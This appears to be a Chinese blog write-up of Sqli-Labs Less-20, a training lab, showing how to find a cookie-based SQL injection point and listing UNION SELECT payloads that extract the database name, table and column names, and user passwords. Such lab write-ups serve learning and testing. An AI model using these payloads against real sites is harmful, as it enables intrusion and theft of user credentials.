Sqli-Labs:Less20

基于错误_POST_Cookie注入

这就是Page1的最后一关了,想想几天前还对Sqli一知半解,现在终于算得上入了门了。

0x01. 判断注入点

首先在页面正常登陆,登陆成功是这样的:

  • 回显有User-AgentIP这样从当次Request直接获取的,
  • 也有Cookie这样刷新页面后仍存在的,
  • 还有登录用户的idusernamepassword
  • 最下方是删除Cookie的按钮,点击后刷新到初始界面。

使用Chrome插件Edit This Cookie查看存储的Cookie信息:

可以看到只存储了uname这一个字段的信息,且是明文存储。
修改Cookie后刷新界面:

便可以得知整个后台流程:

  1. 登陆后将uname写入Cookie
  2. 在每次Request (GET / POST)页面时后台判断Cookie是否存在,若不存在则为登录界面;若存在则读取Cookie中字段uname
  3. 在数据库中按username查询,若用户存在则将查询到用户idusernamepassword回显;若不存在…

可以判断出注入点就在Cookie处,但是这里注入有两种途径:

  1. 用Chrome插件EditThisCookie修改本地Cookie文件注入。
  2. Burp修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入,这种方式不会修改本地的Cookie文件。

接下来将重点演示第一种途径的注入。

0x02. 注入过程

我们得出后台根据Cookie中的uname查询用户的所有信息,即这是个SELECT语句,我们可以使用最简单的UNION注入。

步骤1:判断字符型 / 数字型注入

uname = admin'

步骤2:判断字段数与回显字段

uname = admin' order by 4#

uname = 1' union select 1,2,3#

实际上这个页面太清晰了,不用判断字段都能猜出来。
得出SQL语句:

SELECT * FROM table_name WHERE username='$cookie_uname' LIMIT 0,1

步骤3:数据库名security

uname = 1' union select 1,2,database()#

步骤4:表名users

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

步骤5:字段名idusernamepassword

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

步骤6:数据

1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#

同样地,我们使用Burp

0x03. 吐槽

很久没见到这么简单的注入方式了。
从搭 Wamp 环境到结束 Page 1,已经过去两周了,如果你是从第一篇一直做到这里,那么恭喜你,你已经对SQLI有了基本的认识。
接下来就是 Page 2 的关卡,有更高阶的技巧和过滤,但跟着我做,想必是很简单的【笑。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,864评论 6 494
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,175评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,401评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,170评论 1 286
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,276评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,364评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,401评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,179评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,604评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,902评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,070评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,751评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,380评论 3 319
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,077评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,312评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,924评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,957评论 2 351

推荐阅读更多精彩内容

  • http://127.0.0.1/sqli-labs-master 浅析MySQL中concat以及group_c...
    BerL1n阅读 8,602评论 0 4
  • 基于错误_POST_更新查询注入 我讨厌这个错误回显。 这一关有很多不同的解法,我们将依次分析(这篇看上去会很长)...
    Hyafinthus阅读 4,028评论 7 12
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 7,266评论 0 5
  • 自从成家有了孩子后, 感觉干嘛都慌慌张张,匆匆忙忙,经常做了那个, 忘记这个, 经常丢三落四很是苦恼。 ...
    咖咪Lydia阅读 204评论 0 0
  • 老公说写个他的名字来禅绕,^_^ 哈哈……那就写吧,写完绕吧~ 快过年了,来个红色喜庆, 这几天连续下雪❄️,想着...
    玲玲老师_ad93阅读 1,552评论 3 2